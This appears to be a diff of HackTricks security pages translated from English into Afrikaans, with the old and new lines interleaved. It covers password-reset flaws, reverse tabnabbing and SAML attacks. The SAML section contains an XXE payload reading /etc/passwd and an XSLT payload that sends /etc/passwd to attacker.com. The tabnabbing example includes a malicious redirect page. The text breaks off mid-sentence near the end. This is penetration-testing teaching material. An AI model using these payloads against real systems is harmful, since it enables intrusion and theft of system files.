- [Volledige Rekening Oorname via API Parameter Manipulasie](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
- **Mitigation Steps**:
- Ensure strict parameter validation and authentication checks.
- Implement robust logging and monitoring to detect and respond to suspicious activities.
- **Reference**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Geen Tarief Beperking: E-pos Bombardering**
## **No Rate Limiting: Email Bombing**
- Gebrek aan tarief beperking op wagwoord herstel versoeke kan lei tot e-pos bombardering, wat die gebruiker oorweldig met herstel e-posse.
- **Mitigering Stappe**:
- Implementeer tarief beperking gebaseer op IP adres of gebruikersrekening.
- Gebruik CAPTCHA uitdagings om geoutomatiseerde misbruik te voorkom.
- **Verwysings**:
- [HackerOne Verslag 280534](https://hackerone.com/reports/280534)
- Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.
- **Mitigation Steps**:
- Implement rate limiting based on IP address or user account.
- Use CAPTCHA challenges to prevent automated abuse.
- **References**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Vind uit Hoe Wagwoord Herstel Token Geproduseer Word**
## **Find out How Password Reset Token is Generated**
- Om die patroon of metode agter token generasie te verstaan, kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies:
- Gebaseer op Tydstempel
- Gebaseer op die GebruikerID
- Gebaseer op e-pos van Gebruiker
- Gebaseer op Voornaam en Van
- Gebaseer op Geboortedatum
- Gebaseer op Kriptografie
- **Mitigering Stappe**:
- Gebruik sterk, kriptografiese metodes vir token generasie.
- Verseker voldoende ewekansigheid en lengte om voorspelbaarheid te voorkom.
- **Gereedskap**: Gebruik Burp Sequencer om die ewekansigheid van tokens te analiseer.
- Understanding the pattern or method behind token generation can lead to predicting or brute-forcing tokens. Some options:
- Based Timestamp
- Based on the UserID
- Based on email of User
- Based on Firstname and Lastname
- Based on Date of Birth
- Based on Cryptography
- **Mitigation Steps**:
- Use strong, cryptographic methods for token generation.
- Ensure sufficient randomness and length to prevent predictability.
- **Tools**: Use Burp Sequencer to analyze the randomness of tokens.
## **Raadbare UUID**
## **Guessable UUID**
- If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:
- As UUID's (weergawe 1) raadsbaar of voorspelbaar is, kan aanvallers dit brute-force om geldige herstel tokens te genereer. Kontroleer:
{{#ref}}
uuid-insecurities.md
{{#endref}}
- **Mitigation Steps**:
- Use GUID version 4 for randomness or implement additional security measures for other versions.
- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
- **Mitigering Stappe**:
- Gebruik GUID weergawe 4 vir ewekansigheid of implementeer addisionele sekuriteitsmaatreëls vir ander weergawes.
- **Gereedskap**: Gebruik [guidtool](https://github.com/intruder-io/guidtool) vir die analise en generasie van GUIDs.
## **Response Manipulation: Replace Bad Response With Good One**
## **Antwoord Manipulasie: Vervang Slegte Antwoord Met Goeie Een**
- Manipulating HTTP responses to bypass error messages or restrictions.
- **Mitigation Steps**:
- Implement server-side checks to ensure response integrity.
- Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
- **Reference**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
- Manipuleer HTTP-antwoorde om foutboodskappe of beperkings te omseil.
- **Mitigering Stappe**:
- Implementeer bediener-kant kontroles om antwoord integriteit te verseker.
- Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle aanvalle te voorkom.
- **Verwysing**:
- [Kritieke Fout in Lewende Bug Bounty Gebeurtenis](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Using Expired Token**
## **Gebruik van Verloop Token**
- Testing whether expired tokens can still be used for password reset.
- **Mitigation Steps**:
- Implement strict token expiration policies and validate token expiry server-side.
- Toets of verlopen tokens steeds gebruik kan word vir wagwoord herstel.
- **Mitigering Stappe**:
- Implementeer strikte token verloopbeleide en valideer token vervaldatum bediener-kant.
## **Brute Force Password Reset Token**
## **Brute Force Wagwoord Herstel Token**
- Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
- **Mitigation Steps**:
- Implement robust rate-limiting and account lockout mechanisms.
- Monitor for suspicious activities indicative of brute-force attacks.
- Poging om die herstel token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde tarief beperkings te omseil.
- **Mitigering Stappe**:
- Implementeer robuuste tarief-beperking en rekening sluiting meganismes.
- Moniteer vir verdagte aktiwiteite wat dui op brute-force aanvalle.
## **Try Using Your Token**
## **Probeer Jou Token Gebruik**
- Testing if an attacker's reset token can be used in conjunction with the victim's email.
- **Mitigation Steps**:
- Ensure that tokens are bound to the user session or other user-specific attributes.
- Toets of 'n aanvaller se herstel token gebruik kan word saam met die slagoffer se e-pos.
- **Mitigering Stappe**:
- Verseker dat tokens aan die gebruikersessie of ander gebruikers-spesifieke eienskappe gebind is.
## **Session Invalidation in Logout/Password Reset**
## **Sessie Ongeldigmaking by Afmelding/Wagwoord Herstel**
- Ensuring that sessions are invalidated when a user logs out or resets their password.
- **Mitigation Steps**:
- Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.
- Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker afmeld of sy wagwoord herstel.
- **Mitigering Stappe**:
- Implementeer behoorlike sessie bestuur, wat verseker dat alle sessies ongeldig gemaak word by afmelding of wagwoord herstel.
## **Session Invalidation in Logout/Password Reset**
## **Sessie Ongeldigmaking by Afmelding/Wagwoord Herstel**
- Reset tokens should have an expiration time after which they become invalid.
- **Mitigation Steps**:
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
- Herstel tokens moet 'n vervaldatum hê waarna hulle ongeldig word.
- **Mitigering Stappe**:
- Stel 'n redelike vervaldatum vir herstel tokens in en handhaaf dit streng bediener-kant.
## References
## Verwysings
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Hacking Inligting**\
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Regstydse Hack Nuus**\
Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Laaste Aankondigings**\
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin saamwerk met top hackers vandag!
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,33 +1,32 @@
{{#include ../banners/hacktricks-training.md}}
# Description
# Beskrywing
In a situation where an **attacker** can **control** the **`href`** argument of an **`<a`** tag with the attribute **`target="_blank" rel="opener"`** that is going to be clicked by a victim, the **attacker** **point** this **link** to a web under his control (a **malicious** **website**). Then, once the **victim clicks** the link and access the attackers website, this **malicious** **website** will be able to **control** the **original** **page** via the javascript object **`window.opener`**.\
If the page doesn't have **`rel="opener"` but contains `target="_blank"` it also doesn't have `rel="noopener"`** it might be also vulnerable.
In 'n situasie waar 'n **aanvaller** die **`href`** argument van 'n **`<a`** tag met die attribuut **`target="_blank" rel="opener"`** kan **beheer**, wat deur 'n slagoffer geklik gaan word, kan die **aanvaller** hierdie **skakel** na 'n web wat onder sy beheer is (n **kwaadwillige** **webwerf**). Dan, sodra die **slagoffer op die skakel klik** en toegang tot die aanvaller se webwerf verkry, sal hierdie **kwaadwillige** **webwerf** in staat wees om die **oorspronklike** **bladsy** via die javascript objek **`window.opener`** te **beheer**.\
As die bladsy nie **`rel="opener"` het nie, maar **`target="_blank"` bevat en ook nie `rel="noopener"` het nie**, kan dit ook kwesbaar wees.
A regular way to abuse this behaviour would be to **change the location of the original web** via `window.opener.location = https://attacker.com/victim.html` to a web controlled by the attacker that **looks like the original one**, so it can **imitate** the **login** **form** of the original website and ask for credentials to the user.
'n Gereelde manier om hierdie gedrag te misbruik, sou wees om die **ligging van die oorspronklike web** te **verander** via `window.opener.location = https://attacker.com/victim.html` na 'n web wat deur die aanvaller beheer word en wat **soos die oorspronklike een lyk**, sodat dit die **inlog** **vorm** van die oorspronklike webwerf kan **imiteer** en vir die gebruiker om geloofsbriewe kan vra.
However, note that as the **attacker now can control the window object of the original website** he can abuse it in other ways to perform **stealthier attacks** (maybe modifying javascript events to ex-filtrate info to a server controlled by him?)
Let egter daarop dat, aangesien die **aanvaller nou die venster objek van die oorspronklike webwerf kan beheer**, hy dit op ander maniere kan misbruik om **stealthier aanvalle** uit te voer (miskien javascript gebeurtenisse te verander om inligting na 'n bediener wat deur hom beheer word, te ex-filtreer?)
# Overview
# Oorsig
## With back link
## Met terugskakel
Link between parent and child pages when prevention attribute is not used:
Skakel tussen ouer en kind bladsye wanneer voorkoming attribuut nie gebruik word nie:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png)
## Without back link
## Sonder terugskakel
Link between parent and child pages when prevention attribute is used:
Skakel tussen ouer en kind bladsye wanneer voorkoming attribuut gebruik word:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png)
## Examples <a href="#examples" id="examples"></a>
Create the following pages in a folder and run a web server with `python3 -m http.server`\
Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link and note how the **original** **website** **URL** **changes**.
## Voorbeelde <a href="#examples" id="examples"></a>
Skep die volgende bladsye in 'n gids en draai 'n webbediener met `python3 -m http.server`\
Dan, **toegang** `http://127.0.0.1:8000/`vulnerable.html, **klik** op die skakel en let op hoe die **oorspronklike** **webwerf** **URL** **verander**.
```markup:vulnerable.html
<!DOCTYPE html>
<html>
@ -41,11 +40,11 @@ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link
```markup:malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
@ -57,28 +56,26 @@ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link
</body>
</html>
```
## Toeganklike eienskappe <a href="#accessible-properties" id="accessible-properties"></a>
## Accessible properties <a href="#accessible-properties" id="accessible-properties"></a>
In die scenario waar 'n **cross-origin** toegang plaasvind (toegang oor verskillende domeine), is die eienskappe van die **window** JavaScript klasinstansie, waarna verwys word deur die **opener** JavaScript objekverwysing, wat deur 'n kwaadwillige webwerf verkry kan word, beperk tot die volgende:
In the scenario where a **cross-origin** access occurs (access across different domains), the properties of the **window** JavaScript class instance, referred to by the **opener** JavaScript object reference, that can be accessed by a malicious site are limited to the following:
- **`opener.closed`**: Hierdie eienskap word gebruik om te bepaal of 'n venster gesluit is, wat 'n booleaanse waarde teruggee.
- **`opener.frames`**: Hierdie eienskap bied toegang tot alle iframe-elemente binne die huidige venster.
- **`opener.length`**: Die aantal iframe-elemente wat in die huidige venster teenwoordig is, word deur hierdie eienskap teruggegee.
- **`opener.opener`**: 'n Verwysing na die venster wat die huidige venster geopen het, kan deur hierdie eienskap verkry word.
- **`opener.parent`**: Hierdie eienskap gee die ouerventers van die huidige venster terug.
- **`opener.self`**: Toegang tot die huidige venster self word deur hierdie eienskap verskaf.
- **`opener.top`**: Hierdie eienskap gee die boonste blaaivenster terug.
- **`opener.closed`**: This property is accessed to determine if a window has been closed, returning a boolean value.
- **`opener.frames`**: This property provides access to all iframe elements within the current window.
- **`opener.length`**: The number of iframe elements present in the current window is returned by this property.
- **`opener.opener`**: A reference to the window that opened the current window can be obtained through this property.
- **`opener.parent`**: This property returns the parent window of the current window.
- **`opener.self`**: Access to the current window itself is provided by this property.
- **`opener.top`**: This property returns the topmost browser window.
E however, in gevalle waar die domeine identies is, verkry die kwaadwillige webwerf toegang tot alle eienskappe wat deur die [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript objekverwysing blootgestel word.
However, in instances where the domains are identical, the malicious site gains access to all properties exposed by the [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript object reference.
# Voorkoming
# Prevention
Voorkomingsinligting is gedokumenteer in die [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
## References
## Verwysings
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,32 +1,31 @@
# SAML Attacks
# SAML Aanvalle
## SAML Attacks
## SAML Aanvalle
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
{{#ref}}
saml-basics.md
{{#endref}}
## Tool
## Gereedskap
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): A tool that can take a URL or list of URL and prints back SAML consume URL.
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): 'n gereedskap wat 'n URL of lys van URL's kan neem en die SAML consume URL teruggee.
## XML round-trip
## XML rondreis
In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, **the data being checked and the original data could not be the same**.
For example, check the following code:
In XML word die onderteken deel van die XML in geheue gestoor, dan word daar 'n paar kodering/ontkodering uitgevoer en die handtekening word nagegaan. Ideaal gesproke behoort daardie kodering/ontkodering nie die data te verander nie, maar gebaseer op daardie scenario, **kan die data wat nagegaan word en die oorspronklike data nie dieselfde wees nie**.
Byvoorbeeld, kyk na die volgende kode:
```ruby
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
@ -34,250 +33,236 @@ puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
Running the program against REXML 3.2.4 or earlier would result in the following output instead:
Die uitvoering van die program teen REXML 3.2.4 of vroeër sal in plaas daarvan die volgende uitvoer lewer:
```
First child in original doc: Y
First child after round-trip: Z
```
This is how REXML saw the original XML document from the program above:
Dit is hoe REXML die oorspronklike XML-dokument van die program hierbo gesien het:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)
And this is how it saw it after a round of parsing and serialization:
En dit is hoe dit gesien is na 'n ronde van ontleding en serialisering:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)
For more information about the vulnerability and how to abuse it:
Vir meer inligting oor die kwesbaarheid en hoe om dit te misbruik:
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## XML Signature Wrapping Attacks
## XML Handtekening Wrapping Aanvalle
In **XML Signature Wrapping attacks (XSW)**, adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: **signature validation** and **function invocation**. These attacks involve altering the XML document structure. Specifically, the attacker **injects forged elements** that do not compromise the XML Signature's validity. This manipulation aims to create a discrepancy between the elements analyzed by the **application logic** and those checked by the **signature verification module**. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the **fraudulent elements**. Consequently, the attacker effectively bypasses the XML Signature's **integrity protection** and **origin authentication**, enabling the **injection of arbitrary content** without detection.
In **XML Handtekening Wrapping aanvalle (XSW)**, benut teenstanders 'n kwesbaarheid wat ontstaan wanneer XML-dokumente deur twee verskillende fases verwerk word: **handtekening validasie** en **funksie aanroep**. Hierdie aanvalle behels die verandering van die XML-dokumentstruktuur. Spesifiek, die aanvaller **voeg vervalste elemente in** wat nie die geldigheid van die XML Handtekening benadeel nie. Hierdie manipulasie is daarop gemik om 'n discrepansie te skep tussen die elemente wat deur die **toepassing logika** geanaliseer word en diegene wat deur die **handtekening verifikasie module** nagegaan word. As gevolg hiervan, terwyl die XML Handtekening tegnies geldig bly en verifikasie slaag, verwerk die toepassing logika die **bedrogspul elemente**. Gevolglik omseil die aanvaller effektief die XML Handtekening se **integriteit beskerming** en **oorsprong verifikasie**, wat die **inspuiting van arbitrêre inhoud** sonder opsporing moontlik maak.
The following attacks ara based on [**this blog post**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **and** [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). So check those for further details.
Die volgende aanvalle is gebaseer op [**hierdie blogpos**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **en** [**hierdie papier**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). So kyk na daardie vir verdere besonderhede.
### XSW #1
- **Strategy**: A new root element containing the signature is added.
- **Implication**: The validator may get confused between the legitimate "Response -> Assertion -> Subject" and the attacker's "evil new Response -> Assertion -> Subject", leading to data integrity issues.
- **Strategie**: 'n Nuwe wortelelement wat die handtekening bevat, word bygevoeg.
- **Implikasie**: Die validator mag verward raak tussen die wettige "Response -> Assertion -> Subject" en die aanvaller se "slegte nuwe Response -> Assertion -> Subject", wat lei tot data integriteit probleme.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../images/image (506).png>)
### XSW #2
- **Difference from XSW #1**: Utilizes a detached signature instead of an enveloping signature.
- **Implication**: The "evil" structure, similar to XSW #1, aims to deceive the business logic post integrity check.
- **Verskil van XSW #1**: Gebruik 'n losstaande handtekening in plaas van 'n omhulde handtekening.
- **Implikasie**: Die "slegte" struktuur, soortgelyk aan XSW #1, is daarop gemik om die besigheidslogika na die integriteitskontrole te mislei.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>)
### XSW #3
- **Strategy**: An evil Assertion is crafted at the same hierarchical level as the original assertion.
- **Implication**: Intends to confuse the business logic into using the malicious data.
- **Strategie**: 'n Slegte Assertion word op dieselfde hiërargiese vlak as die oorspronklike assertion geskep.
- **Implikasie**: Dit is bedoel om die besigheidslogika te verwar om die kwaadwillige data te gebruik.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../images/image (120).png>)
### XSW #4
- **Difference from XSW #3**: The original Assertion becomes a child of the duplicated (evil) Assertion.
- **Implication**: Similar to XSW #3 but alters the XML structure more aggressively.
- **Verskil van XSW #3**: Die oorspronklike Assertion word 'n kind van die gedupliseerde (slegte) Assertion.
- **Implikasie**: Soortgelyk aan XSW #3, maar verander die XML-struktuur meer aggressief.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../images/image (551).png>)
### XSW #5
- **Unique Aspect**: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
- **Implication**: The copied Assertion envelopes the Signature, modifying the expected document structure.
- **Unieke Aspek**: Geen van die Handtekening of die oorspronklike Assertion voldoen aan standaard konfigurasies (omhulde/omhulende/losstaande).
- **Implikasie**: Die gekopieerde Assertion omhul die Handtekening, wat die verwagte dokumentstruktuur verander.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)
### XSW #6
- **Strategy**: Similar location insertion as XSW #4 and #5, but with a twist.
- **Implication**: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.
- **Strategie**: Soortgelyke ligging insetting soos XSW #4 en #5, maar met 'n draai.
- **Implikasie**: Die gekopieerde Assertion omhul die Handtekening, wat dan die oorspronklike Assertion omhul, wat 'n geneste misleidende struktuur skep.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../images/image (169).png>)
### XSW #7
- **Strategy**: An Extensions element is inserted with the copied Assertion as a child.
- **Implication**: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.
- **Strategie**: 'n Extensions element word ingevoeg met die gekopieerde Assertion as 'n kind.
- **Implikasie**: Dit benut die minder beperkende skema van die Extensions element om skema validasie teenmaatreëls te omseil, veral in biblioteke soos OpenSAML.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>)
![https://epi052.gitlab.io/notes-to/self/img/saml/xsw-7.svg](<../../images/image (971).png>)
### XSW #8
- **Difference from XSW #7**: Utilizes another less restrictive XML element for a variant of the attack.
- **Implication**: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.
- **Verskil van XSW #7**: Gebruik 'n ander minder beperkende XML element vir 'n variasie van die aanval.
- **Implikasie**: Die oorspronklike Assertion word 'n kind van die minder beperkende element, wat die struktuur wat in XSW #7 gebruik is, omkeer.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../images/image (541).png>)
![https://epi052.gitlab.io/notes-to/self/img/saml/xsw-8.svg](<../../images/image (541).png>)
### Tool
### Gereedskap
You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to parse the request, apply any XSW attack you choose, and launch it.
Jy kan die Burp uitbreiding [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) gebruik om die versoek te ontleed, enige XSW aanval wat jy kies toe te pas, en dit te loods.
## XXE
If you don't know which kind of attacks are XXE, please read the following page:
As jy nie weet watter soort aanvalle XXE is nie, lees asseblief die volgende bladsy:
{{#ref}}
../xxe-xee-xml-external-entity.md
{{#endref}}
SAML Responses are **deflated and base64 encoded XML documents** and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Heres how such an attack can be visualized:
SAML Responses is **ontplofte en base64-gecodeerde XML-dokumente** en kan kwesbaar wees vir XML Eksterne Entiteit (XXE) aanvalle. Deur die XML-struktuur van die SAML Response te manipuleer, kan aanvallers probeer om XXE kwesbaarhede te benut. Hier is hoe so 'n aanval visueel voorgestel kan word:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
## Gereedskap
## Tools
Jy kan ook die Burp uitbreiding [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) gebruik om die POC te genereer vanaf 'n SAML versoek om te toets vir moontlike XXE kwesbaarhede en SAML kwesbaarhede.
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities and SAML vulnerabilities.
Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
Kyk ook na hierdie praatjie: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XSLT via SAML
For more information about XSLT go to:
Vir meer inligting oor XSLT, gaan na:
{{#ref}}
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
Extensible Stylesheet Language Transformations (XSLT) can be used for transforming XML documents into various formats like HTML, JSON, or PDF. It's crucial to note that **XSLT transformations are performed before the verification of the digital signature**. This means that an attack can be successful even without a valid signature; a self-signed or invalid signature is sufficient to proceed.
Here you can find a **POC** to check for this kind of vulnerabilities, in the hacktricks page mentioned at the beginning of this section you can find for payloads.
Extensible Stylesheet Language Transformations (XSLT) kan gebruik word om XML-dokumente in verskeie formate soos HTML, JSON, of PDF te transformeer. Dit is belangrik om te noem dat **XSLT-transformasies uitgevoer word voordat die digitale handtekening geverifieer word**. Dit beteken dat 'n aanval suksesvol kan wees selfs sonder 'n geldige handtekening; 'n self-ondertekende of ongeldige handtekening is voldoende om voort te gaan.
Hier kan jy 'n **POC** vind om vir hierdie soort kwesbaarhede te toets, op die hacktricks-bladsy wat aan die begin van hierdie afdeling genoem is, kan jy vir payloads vind.
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
### Tool
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XSLT vulnerabilities.
Jy kan ook die Burp uitbreiding [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) gebruik om die POC van 'n SAML versoek te genereer om moontlike XSLT kwesbaarhede te toets.
Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
Kyk ook na hierdie praatjie: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
## XML Handtekening Uitsluiting <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
The **XML Signature Exclusion** observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, **signature validation may not occur**, making it vulnerable. It's possibel to test this by altering the contents that are usually verified by the signature.
Die **XML Handtekening Uitsluiting** observeer die gedrag van SAML implementasies wanneer die Handtekening element nie teenwoordig is nie. As hierdie element ontbreek, **kan handtekeningvalidasie nie plaasvind nie**, wat dit kwesbaar maak. Dit is moontlik om dit te toets deur die inhoud wat gewoonlik deur die handtekening geverifieer word, te verander.
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercept the SAML Response and click `Remove Signatures`. In doing so **all** Signature elements are removed.
Jy kan ook die Burp uitbreiding [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) gebruik. Intercepteer die SAML Antwoord en klik `Verwyder Handtekeninge`. Deur dit te doen, word **alle** Handtekening elemente verwyder.
With the signatures removed, allow the request to proceed to the target. If the Signature isnt required by the Service
Met die handtekeninge verwyder, laat die versoek voortgaan na die teiken. As die Handtekening nie deur die Diens
## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
## Sertifikaat Valsheid <a href="#certificate-faking" id="certificate-faking"></a>
## Certificate Faking
## Sertifikaat Valsheid
